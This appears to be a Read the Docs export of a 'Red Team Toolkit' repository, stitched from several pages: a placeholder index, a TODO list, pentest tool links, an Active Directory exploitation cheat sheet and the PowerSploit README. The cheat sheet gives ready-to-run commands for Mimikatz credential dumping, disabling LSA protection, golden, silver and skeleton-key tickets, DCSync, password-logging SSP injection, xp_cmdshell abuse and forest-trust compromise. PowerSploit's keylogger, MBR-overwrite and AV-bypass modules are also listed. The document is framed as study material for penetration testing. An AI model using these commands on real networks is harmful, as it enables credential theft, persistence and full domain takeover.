

    
      
          
            
  
Welcome to Read the Docs

This is an autogenerated index file.

Please create an index.rst or README.rst file with your own content
under the root (or /docs) directory in your repository.

If you want to use another markup, choose a different builder in your settings.
Check out our Getting Started Guide [https://docs.readthedocs.io/en/latest/getting_started.html] to become more
familiar with Read the Docs.
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  # 👊 Welcome!

The Red Team Toolkit provides tools and techniques for penetration testing. The Red Team Toolkit was made by [@EvolvingSysadmin](https://github.com/evolvingsysadmin). The information is gathered primarily from courses such as those from [TryHackMe](https://tryhackme.com/). ChatGPT was also used to create and edit content where possible.

In addition to [GitHub](https://github.com/EvolvingSysadmin/Red-Team-Toolkit), the Blue Team Toolkit can be viewed as a GitBook at <https://redteam.ryanheavican.com> or downloaded as a [markdown file](assets/README.md).

![Happy Hacking!](assets/logo.svg)



            

          

      

      

    

  

    
      
          
            
  # Table of contents


	[👊 Welcome!](README.md)


	[Methodology](methodology/readme.md)
* [MITRE](methodology/mitre.md)
* [NIST](methodology/nist.md)
* [OWASP](methodology/owasp.md)
* [PTES](methodology/ptes.md)
* [SANS](methodology/sans.md)


	[Reconnaissance](reconnaissance/readme.md)
* [DNS Recon](reconnaissance/dns-recon.md)
* [Open Source Intelligence](reconnaissance/osint.md)
* [Web Application Recon](reconnaissance/web-application-recon.md)


	[Initial Access](initial-access/readme.md)
* [Phishing](initial-access/phishing.md)
* [Web Authentication Bypass](initial-access/web-authentication-bypass.md)
* [Network Services Attacks](initial-access/network-services-attacks.md)
* [Breaching Active Directory](initial-access/breaching-active-directory.md)
* [Windows Exploits](initial-access/windows-exploits.md)
* [Linux Exploits](initial-access/linux-exploits.md)
* [SQL Injection](initial-access/sql-injection.md)
* [XSS](initial-access/xss.md)
* [Burp Suite](initial-access/burp-suite.md)
* [Hyrdra](initial-access/hydra.md)
* [Metasploit](initial-access/metasploit.md)
* [Nessus](initial-access/nessus.md)
* [Wordlists](initial-access/wordlists.md)
* [OWASP ZAP](initial-access/owasp-zap.md)


	[Discovery](discovery/README.md)
* [NMAP](discovery/nmap.md)
* [PowerView](discovery/powerview.md)
* [Active Directory Enumeration](discovery/active-directory-enumeration.md)
* [Windows Post Exploitation Discovery](discovery/windows-post-exploitation-discovery.md)
* [Linux Post Exploitation Discovery](discovery/linux-post-exploitation-discovery.md)
* [Other Scanning Methods](discovery/other-scanning-methods.md)


	[Privilege Escalation](privilege-escalation.md)
* [Password Cracking](privilege-escalation/password-cracking.md)
* [AD Privilege Escalation](privilege-escalation/ad-privilege-escalation.md)
* [Local Windows Privilege Escalation](privilege-escalation/local-windows-privilege-escalation.md)
* [Linux Privilege Escalation](privilege-escalation/linux-privilege-escalation.md)
* [Mimikatz](privilege-escalation/mimikatz.md)


	[Movement](/movement/readme.md)
* [Movement](movement/movement.md)
* [Evasion](movement/evasion.md)


	[Collection](collection/README.md)
* [Persistence](collection/persistence.md)
* [Exfiltration](collection/exfiltration.md)


	[Other](other/readme.mdreadme.md)
* [Bookmarks](other/bookmarks.md)
* [OpeSec](other/opsec.md)






            

          

      

      

    

  

    
      
          
            
  # TODO


	Go through document and extract all URLs for bookmarks in Contemptuous Condor profile


	Add more detail/topics to the web authentication bypass page


	Add this somewhere: https://www.findip-address.com/


	Add container pentesting page: https://github.com/Xyntax/CDK/wiki


	CS 6035 focus:
* Stack buffer overflow in C
* XSS
* XSRF
* SQL Injection
* Malware Analysis
* log4shell
* web security
* machine learning
* cryptography
* man in the middle
* binary exploitation
* assembly


	Resources
* Penetration Testing Resources: https://github.com/killswitch-GUI/killswitch-GUI
* HackTricks: https://book.hacktricks.xyz/welcome/readme






            

          

      

      

    

  

    
      
          
            
  # Hacking
Study materials for ethical hacking and cyber security



            

          

      

      

    

  

    
      
          
            
  # Penetration Testing Resources

## Tools

### Ubiquitous Tools
* [Kali](https://www.kali.org/downloads/)
* [Sysinternals](https://www.kali.org/downloads/)
* [MetaSploit](https://github.com/rapid7/metasploit-framework)
* [Nmap](https://nmap.org/book/man.html)

### Enumeration
* [Powersploit](https://github.com/PowerShellMafia/PowerSploit/tree/dev)
* [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)
* [Powermad](https://github.com/Kevin-Robertson/Powermad)
* [Impacket](https://github.com/SecureAuthCorp/impacket)
* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
* [Rubeus](https://github.com/GhostPack/Rubeus) -> [Compiled Version](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries)
* [BloodHound](https://github.com/BloodHoundAD/BloodHound)
https://github.com/BloodHoundAD/SharpHound3
* [AD Module](https://github.com/samratashok/ADModule)
* [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast)
* https://github.com/dirkjanm/ldapdomaindump

### Social Engineering Tools
* [King Phisher](https://github.com/rsmusllp/king-phisher)

### Windows Exploit Tools
* [CobaltStrike](https://www.cobaltstrike.com/)
* [CVE Scanner](https://github.com/projectdiscovery/nuclei)
* [FireEye CVE Tools](https://github.com/fireeye/red_team_tool_countermeasures/blob/master/CVEs_red_team_tools.md)
* [Security Testing Lists](https://github.com/OWASP/DevGuide/wiki)
* [PenTester Testers Framework](https://github.com/Arr0way/ptf)
* [PenTesting with CMD](https://github.com/jotaah123/-Pentesting-w-CMD-)

### Linux Tools
* [Kali Scripts](https://github.com/Arr0way/os-scripts)

## Persistence Tools


	https://www.metasploit.com/download


	http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
* Utilize golden ticket: krbtgt password has to be changed to invalidate


	http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/


	http://www.hexacorn.com/blog/category/autostart-persistence/


	https://blog.netspi.com/tag/persistence/




## Lists of Tools
* [Python Tools for Penetration Testers](https://github.com/dloss/python-pentest-tools )

## Guides
* [Windows Privilege Escalation Guide](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
* [PwnWiki](https://github.com/Arr0way/pwnwiki.github.io)
* [PenTesting Guide](https://github.com/absolomb/Pentesting/tree/master/guides)

## Cheat Sheets
* [Resources for Learning PenTesting](https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE)
* [Pentesting Cheat Sheet Collection](https://highon.coffee/blog/cheat-sheet/)
* [nbtscan Cheat Sheet](https://highon.coffee/blog/nbtscan-cheat-sheet/)
* [Linux Commands Cheat Sheet](https://highon.coffee/blog/linux-commands-cheat-sheet/)
* [Cheat Sheet Collection](https://imgur.com/gallery/U5jqgik)

## Other Resources
* [OWASP Dev Guide](https://github.com/OWASP/DevGuide/wiki)
* [FireEye Countermeasures](https://github.com/fireeye/red_team_tool_countermeasures)
* [FireEye Commando VM](https://github.com/fireeye/commando-vm)
* [Hash My Files](https://www.nirsoft.net/utils/hash_my_files.html)

https://github.com/enaqx/awesome-pentest
https://github.com/mgeeky/Penetration-Testing-Tools



            

          

      

      

    

  

    
      
          
            
  # Active Directory Exploitation Cheat Sheet

A cheat sheet that contains common enumeration and attack methods for Windows Active Directory.

This cheat sheet is inspired by the [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) repo.

## Summary


	[Active Directory Exploitation Cheatsheet](#active-directory-exploitation-cheat-sheet)
- [Summary](#summary)
- [Tools](#tools)
- [Domain Enumeration](#domain-enumeration)



	[Using PowerView](#using-powerview)


	[Using AD Module](#using-ad-module)


	[Using BloodHound](#using-bloodhound)


	[Useful Enumeration Tools](#useful-enumeration-tools)








	[Local Privilege Escalation](#local-privilege-escalation)


	[Lateral Movement](#lateral-movement)
- [Powershell Remoting](#powershell-remoting)
- [Remote Code Execution with PS Credentials](#remote-code-execution-with-ps-credentials)
- [Import a powershell module and execute its functions remotely](#import-a-powershell-module-and-execute-its-functions-remotely)
- [Executing Remote Stateful commands](#executing-remote-stateful-commands)
- [Mimikatz](#mimikatz)
- [Useful Tools](#useful-tools)


	[Domain Privilege Escalation](#domain-privilege-escalation)
- [Kerberoast](#kerberoast)
- [ASREPRoast](#asreproast)
- [Password Spray Attack](#password-spray-attack)
- [Force Set SPN](#force-set-spn)
- [Abusing Shadow Copies](#abusing-shadow-copies)
- [List and Decrypt Stored Credentials using Mimikatz](#list-and-decrypt-stored-credentials-using-mimikatz)
- [Unconstrained Delegation](#unconstrained-delegation)
- [Constrained Delegation](#constrained-delegation)
- [Resource Based Constrained Delegation](#resource-based-constrained-delegation)
- [DNSAdmins Abuse](#dnsadmins-abuse)
- [Abusing Active Directory-Integraded DNS](#abusing-active-directory-integraded-dns)
- [Abusing Backup Operators Group](#abusing-backup-operators-group)
- [Abusing Exchange](#abusing-exchange)
- [Weaponizing Printer Bug](#weaponizing-printer-bug)
- [Abusing ACLs](#abusing-acls)
- [Abusing IPv6 with mitm6](#abusing-ipv6-with-mitm6)
- [SID History Abuse](#sid-history-abuse)
- [Exploiting SharePoint](#exploiting-sharepoint)
- [Zerologon Exploit](#zerologon-exploit)


	[Domain Persistence](#domain-persistence)
- [Golden Ticket Attack](#golden-ticket-attack)
- [DCsync Attack](#dcsync-attack)
- [Silver Ticket Attack](#silver-ticket-attack)
- [Skeleton Key Attack](#skeleton-key-attack)
- [DSRM Abuse](#dsrm-abuse)
- [Custom SSP](#custom-ssp)


	[Cross Forest Attacks](#cross-forest-attacks)
- [Trust Tickets](#trust-tickets)
- [Abuse MSSQL Servers](#abuse-mssql-servers)
- [Breaking Forest Trusts](#breaking-forest-trusts)








## Domain Enumeration

## Local Privilege Escalation


	[PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1) Misconfiguration Abuse


	[BeRoot](https://github.com/AlessandroZ/BeRoot) General Priv Esc Enumeration Tool


	[Privesc](https://github.com/enjoiz/Privesc) General Priv Esc Enumeration Tool


	[FullPowers](https://github.com/itm4n/FullPowers) Restore A Service Account’s Privileges


	[Juicy Potato](https://github.com/ohpe/juicy-potato) Abuse SeImpersonate or SeAssignPrimaryToken Privileges for System Impersonation


	warning:

	Works only until Windows Server 2016 and Windows 10 until patch 1803







	[Lovely Potato](https://github.com/TsukiCTF/Lovely-Potato) Automated Juicy Potato


	warning:

	Works only until Windows Server 2016 and Windows 10 until patch 1803







	[PrintSpoofer](https://github.com/itm4n/PrintSpoofer) Exploit the PrinterBug for System Impersonation


	pray:

	Works for Windows Server 2019 and Windows 10







	[RoguePotato](https://github.com/antonioCoco/RoguePotato) Upgraded Juicy Potato


	pray:

	Works for Windows Server 2019 and Windows 10







	[Abusing Token Privileges](https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/)


	[SMBGhost CVE-2020-0796](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/) [PoC](https://github.com/danigargu/CVE-2020-0796)




## Lateral Movement


	### Powershell Remoting
	```
#Enable Powershell Remoting on current Machine (Needs Admin Access)
Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access)
$sess = New-PSSession -ComputerName <Name>
Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName>
```



	### Remote Code Execution with PS Credentials
	`
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}
`



	### Import a powershell module and execute its functions remotely
	```
#Execute the command and start a session
Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath c:FilePathfile.ps1 -Session $sess

#Interact with the session
Enter-PSSession -Session $sess

```



	### Executing Remote Stateful commands
	```
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}
```



	### Mimikatz
	
```
#The commands are in cobalt strike format!

#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>

#List all available kerberos tickets in memory
mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials
mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:templsass.dmp

#List cached MasterKeys
mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys

#Dump SAM Database
mimikatz lsadump::sam

#Dump SECRETS Database
mimikatz lsadump::secrets

#Inject and dump the Domain Controler’s Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject

#Dump the Domain’s Credentials without touching DC’s LSASS and also remotely
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all

#List and Dump local kerberos credentials
mimikatz kerberos::list /dump

#Pass The Ticket
mimikatz kerberos::ptt <PathToKirbiFile>

#List TS/RDP sessions
mimikatz ts::sessions

#List Vault credentials
mimikatz vault::list
```





	exclamation:

	What if mimikatz fails to dump credentials because of LSA Protection controls ? 





So far i know two workarounds:


	LSA as a Protected Process




```
#Check if LSA runs as a protected process by looking if the variable “RunAsPPL” is set to 0x1
reg query HKLMSYSTEMCurrentControlSetControlLsa

#Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
#Now lets import the mimidriver.sys to the system
mimikatz # !+

#Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove

#Finally run the logonpasswords function to dump lsass
mimikatz # sekurlsa::logonpasswords
`
- LSA is running as virtualized process (LSAISO) by Credential Guard
`
#Check if a process called lsaiso.exe exists on the running processes
tasklist |findstr lsaiso

#If it does there isn’t a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data.
#Lets inject our own malicious Security Support Provider into memory, for this example i’ll use the one mimikatz provides
mimikatz # misc::memssp

#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:windowssystem32mimilsa.log
```






	[Detailed Mimikatz Guide](https://adsecurity.org/?page_id=1821)


	[Poking Around With 2 lsass Protection Options](https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a)




### Useful Tools
- [Powercat](https://github.com/besimorhino/powercat) netcat written in powershell, and provides tunneling, relay and portforward


capabilities.





	[SCShell](https://github.com/Mr-Un1k0d3r/SCShell) fileless lateral movement tool that relies on ChangeServiceConfigA to run command


	[Evil-Winrm](https://github.com/Hackplayers/evil-winrm) the ultimate WinRM shell for hacking/pentesting


	[RunasCs](https://github.com/antonioCoco/RunasCs) Csharp and open version of windows builtin runas.exe




## Domain Persistence


	### Golden Ticket Attack
	```
#Execute mimikatz on DC as DA to grab krbtgt hash:
Invoke-Mimikatz -Command ‘“lsadump::lsa /patch”’ -ComputerName <DC’sName>

#On any machine:
Invoke-Mimikatz -Command ‘“kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain’s SID> /krbtgt:
<HashOfkrbtgtAccount>   id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt”’
```



	### DCsync Attack
	```
#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges):
Invoke-Mimikatz -Command ‘“lsadump::dcsync /user:<DomainName><AnyDomainUser>”’

#DCsync using secretsdump.py from impacket with NTLM authentication
secretsdump.py <Domain>/<Username>:<Password>@<DC’S IP or FQDN> -just-dc-ntlm

#DCsync using secretsdump.py from impacket with Kerberos Authentication
secretsdump.py -no-pass -k <Domain>/<Username>@<DC’S IP or FQDN> -just-dc-ntlm
```
Tip: /ptt -> inject ticket on current running session /ticket -> save the ticket on the system for later use



	### Silver Ticket Attack
	`
Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<TheTargetMachine> /service:
<ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate> /ptt"'
`
[SPN List](https://adsecurity.org/?page_id=183)



	### Skeleton Key Attack
	```
#Exploitation Command runned as DA:
Invoke-Mimikatz -Command ‘“privilege::debug” “misc::skeleton”’ -ComputerName <DC’s FQDN>

#Access using the password “mimikatz”
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>Administrator
```





### DSRM Abuse

WUT IS DIS?: Every DC has a local Administrator account, this accounts has the DSRM password which is a SafeBackupPassword. We can get this and then pth its NTLM hash to get local Administrator access to DC!

```
#Dump DSRM password (needs DA privs):
Invoke-Mimikatz -Command ‘“token::elevate” “lsadump::sam”’ -ComputerName <DC’s Name>

#This is a local account, so we can PTH and authenticate!
#BUT we need to alter the behaviour of the DSRM account before pth:
#Connect on DC:
Enter-PSSession -ComputerName <DC’s Name>

#Alter the Logon behaviour on registry:
New-ItemProperty “HKLM:SystemCurrentControlSetControlLsa" -Name “DsrmAdminLogonBehaviour” -Value 2 -PropertyType DWORD -Verbose

#If the property already exists:
Set-ItemProperty “HKLM:SystemCurrentControlSetControlLsa" -Name “DsrmAdminLogonBehaviour” -Value 2 -Verbose
```
Then just PTH to get local admin access on DC!
### Custom SSP

WUT IS DIS?: We can set our on SSP by dropping a custom dll, for example mimilib.dll from mimikatz, that will monitor and capture plaintext passwords from users that logged on!

From powershell:
```
#Get current Security Package:
$packages = Get-ItemProperty “HKLM:SystemCurrentControlSetControlLsaOSConfig" -Name ‘Security Packages’ | select -ExpandProperty  ‘Security Packages’

#Append mimilib:
$packages += “mimilib”

#Change the new packages name
Set-ItemProperty “HKLM:SystemCurrentControlSetControlLsaOSConfig" -Name ‘Security Packages’ -Value $packages
Set-ItemProperty “HKLM:SystemCurrentControlSetControlLsa" -Name ‘Security Packages’ -Value $packages

#ALTERNATIVE:
Invoke-Mimikatz -Command ‘“misc::memssp”’
```
Now all logons on the DC are logged to -> C:WindowsSystem32kiwissp.log

## Cross Forest Attacks

### Trust Tickets
WUT IS DIS ?: If we have Domain Admin rights on a Domain that has Bidirectional Trust relationship with an other forest we can get the Trust key and forge our own inter-realm TGT.


	warning:

	The access we will have will be limited to what our DA account is configured to have on the other Forest!





Using Mimikatz:
```
#Dump the trust key
Invoke-Mimikatz -Command ‘“lsadump::trust /patch”’
Invoke-Mimikatz -Command ‘“lsadump::lsa /patch”’

#Forge an inter-realm TGT using the Golden Ticket attack
Invoke-Mimikatz -Command ‘“kerberos::golden /user:Administrator /domain:<OurDomain> /sid:
<OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain> /ticket:
<PathToSaveTheGoldenTicket>”’
```
:exclamation: Tickets -> .kirbi format

Then Ask for a TGS to the external Forest for any service using the inter-realm TGT and access the resource!

Using Rubeus:
`
.\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt
`

### Abuse MSSQL Servers


	Enumerate MSSQL Instances: Get-SQLInstanceDomain


	Check Accessibility as current user:




`
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
`
- Gather Information about the instance: Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
- Abusing SQL Database Links: WUT IS DIS?: A database link allows a SQL Server to access other resources like other SQL Server. If we have two linked SQL Servers we can execute stored procedures in them. Database links also works across Forest Trust!

Check for existing Database Links:
```
#Check for existing Database Links:
#PowerUpSQL:
Get-SQLServerLink -Instace <SPN> -Verbose

#MSSQL Query:
select * from master..sysservers
`
Then we can use queries to enumerate other links from the linked Database:
`
#Manualy:
select * from openquery(“LinkedDatabase”, ‘select * from master..sysservers’)

#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):
Get-SQLServerLinkCrawl -Instance <SPN> -Verbose

#Then we can execute command on the machine’s were the SQL Service runs using xp_cmdshell
#Or if it is disabled enable it:
EXECUTE(‘sp_configure “xp_cmdshell”,1;reconfigure;’) AT “SPN”
`
Query execution:
`
Get-SQLServerLinkCrawl -Instace <SPN> -Query “exec master..xp_cmdshell ‘whoami’”
```

### Breaking Forest Trusts

WUT IS DIS?: TL;DR If we have a bidirectional trust with an external forest and we manage to compromise a machine on the local forest that has enabled unconstrained delegation (DCs have this by default), we can use the printerbug to force the DC of the external forest’s root domain to authenticate to us. Then we can capture it’s TGT, inject it into memory and DCsync to dump it’s hashes, giving ous complete access over the whole forest.

Tools we are going to use:
- [Rubeus](https://github.com/GhostPack/Rubeus)
- [SpoolSample](https://github.com/leechristensen/SpoolSample)
- [Mimikatz](https://github.com/gentilkiwi/mimikatz)

Exploitation example:
```
#Start monitoring for TGTs with rubeus:
Rubeus.exe monitor /interval:5 /filteruser:target-dc$

#Execute the printerbug to trigger the force authentication of the target DC to our machine
SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local

#Get the base64 captured TGT from Rubeus and inject it into memory:
Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket>

#Dump the hashes of the target domain using mimikatz:
lsadump::dcsync /domain:external.forest.local /all
```

Detailed Articles:
- [Not A Security Boundary: Breaking Forest Trusts](https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/)
- [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1)



            

          

      

      

    

  

    
      
          
            
  ## This project is no longer supported

### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:

## CodeExecution

Execute code on a target machine.

#### Invoke-DllInjection

Injects a Dll into the process ID of your choosing.

#### Invoke-ReflectivePEInjection

Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.

#### Invoke-Shellcode

Injects shellcode into the process ID of your choosing or within PowerShell locally.

#### Invoke-WmiCommand

Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.

## ScriptModification

Modify and/or prepare scripts for execution on a compromised machine.

#### Out-EncodedCommand

Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.

#### Out-CompressedDll

Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.

#### Out-EncryptedScript

Encrypts text files/scripts.

#### Remove-Comment

Strips comments and extra whitespace from a script.

## Persistence

Add persistence capabilities to a PowerShell script

#### New-UserPersistenceOption

Configure user-level persistence options for the Add-Persistence function.

#### New-ElevatedPersistenceOption

Configure elevated persistence options for the Add-Persistence function.

#### Add-Persistence

Add persistence capabilities to a script.

#### Install-SSP

Installs a security support provider (SSP) dll.

#### Get-SecurityPackages

Enumerates all loaded security packages (SSPs).

## AntivirusBypass

AV doesn’t stand a chance against PowerShell!

#### Find-AVSignature

Locates single Byte AV signatures utilizing the same method as DSplit from “class101”.

## Exfiltration

All your data belong to me!

#### Invoke-TokenManipulation

Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.

#### Invoke-CredentialInjection

Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon).

#### Invoke-NinjaCopy

Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures.

#### Invoke-Mimikatz

Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz.

#### Get-Keystrokes

Logs keys pressed, time and the active window.

#### Get-GPPPassword

Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.

#### Get-GPPAutologon

Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences.

#### Get-TimedScreenshot

A function that takes screenshots at a regular interval and saves them to a folder.

#### New-VolumeShadowCopy

Creates a new volume shadow copy.

#### Get-VolumeShadowCopy

Lists the device paths of all local volume shadow copies.

#### Mount-VolumeShadowCopy

Mounts a volume shadow copy.

#### Remove-VolumeShadowCopy

Deletes a volume shadow copy.

#### Get-VaultCredential

Displays Windows vault credential objects including cleartext web credentials.

#### Out-Minidump

Generates a full-memory minidump of a process.

#### Get-MicrophoneAudio

Records audio from system microphone and saves to disk

## Mayhem

Cause general mayhem with PowerShell.

#### Set-MasterBootRecord


	Proof of concept code that overwrites the master boot record with the
	message of your choice.





#### Set-CriticalProcess

Causes your machine to blue screen upon exiting PowerShell.

## Privesc

Tools to help with escalating privileges on a target.

#### PowerUp

Clearing house of common privilege escalation checks, along with some weaponization vectors.

## Recon

Tools to aid in the reconnaissance phase of a penetration test.

#### Invoke-Portscan

Does a simple port scan using regular sockets, based (pretty) loosely on nmap.

#### Get-HttpStatus

Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file.

#### Invoke-ReverseDnsLookup

Scans an IP address range for DNS PTR records.

#### PowerView

PowerView is series of functions that performs network and Windows domain enumeration and exploitation.

## ReconDictionaries

A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.


	admin.txt - <http://cirt.net/nikto2/>


	generic.txt - <http://sourceforge.net/projects/yokoso/files/yokoso-0.1/>


	sharepoint.txt - <http://www.stachliu.com/resources/tools/sharepoint-hacking-diggity-project/>




## License

The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise.

## Usage

Refer to the comment-based help in each individual script for detailed usage information.

To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.

The default per-user module path is: “$Env:HomeDrive$Env:HOMEPATHDocumentsWindowsPowerShellModules”
The default computer-level module path is: “$Env:windirSystem32WindowsPowerShellv1.0Modules”

To use the module, type Import-Module PowerSploit

To see the commands imported, type Get-Command -Module PowerSploit

If you’re running PowerShell v3 and you want to remove the annoying ‘Do you really want to run scripts downloaded from the Internet’ warning, once you’ve placed PowerSploit into your module path, run the following one-liner:
`$Env:PSModulePath.Split(‘;’) |


% { if ( Test-Path (Join-Path $_ PowerSploit) )
{Get-ChildItem $_ -Recurse | Unblock-File} }`




For help on each individual command, Get-Help is your friend.

Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.

## Contribution Rules

We need contributions! If you have a great idea for PowerSploit, we’d love to add it. New additions will require the following:


	The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason.


	The module manifest needs to be updated to reflect the new function being added.


	A brief description of the function should be added to this README.md


	Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks!




## Script Style Guide

For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.


	
	Avoid Write-Host at all costs. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles:
	
	<http://blogs.technet.com/b/heyscriptingguy/archive/2011/05/19/create-custom-objects-in-your-powershell-script.aspx>


	<http://technet.microsoft.com/en-us/library/ff730946.aspx>










	If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on ‘-Verbose’.


	Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license).


	Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis.


	I prefer that variable names be capitalized and be as descriptive as possible.


	Provide logical spacing in between your code. Indent your code to make it more readable.


	If you find yourself repeating code, write a function.


	Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use ‘Throw’. If you have an error that doesn’t need to stop execution, use Write-Error.


	If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible.


	Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to.


	PowerShell v2 compatibility is highly desired.


	
	Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I’m looking for something like the following:
	
	[Parameter(Position = 0, Mandatory = $True)]










	Don’t use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias.


	Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break.


	Don’t go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader.


	Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement.


	Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters.


	If a script creates complex custom objects, include a ps1xml file that will properly format the object’s output.






            

          

      

      

    

  

    
      
          
            
  To install this module, drop the entire AntivirusBypass folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.

The default per-user module path is: “$Env:HomeDrive$Env:HOMEPATHDocumentsWindowsPowerShellModules”
The default computer-level module path is: “$Env:windirSystem32WindowsPowerShellv1.0Modules”

To use the module, type Import-Module AntivirusBypass

To see the commands imported, type Get-Command -Module AntivirusBypass

For help on each individual command, Get-Help is your friend.

Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.



            

          

      

      

    

  

    
      
          
            
  To install this module, drop the entire CodeExecution folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.

The default per-user module path is: “$Env:HomeDrive$Env:HOMEPATHDocumentsWindowsPowerShellModules”
The default computer-level module path is: “$Env:windirSystem32WindowsPowerShellv1.0Modules”

To use the module, type Import-Module CodeExecution

To see the commands imported, type Get-Command -Module CodeExecution

For help on each individual command, Get-Help is your friend.

Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.



            

          

      

      

    

  

    
      
          
            
  To install this module, drop the entire Exfiltration folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.

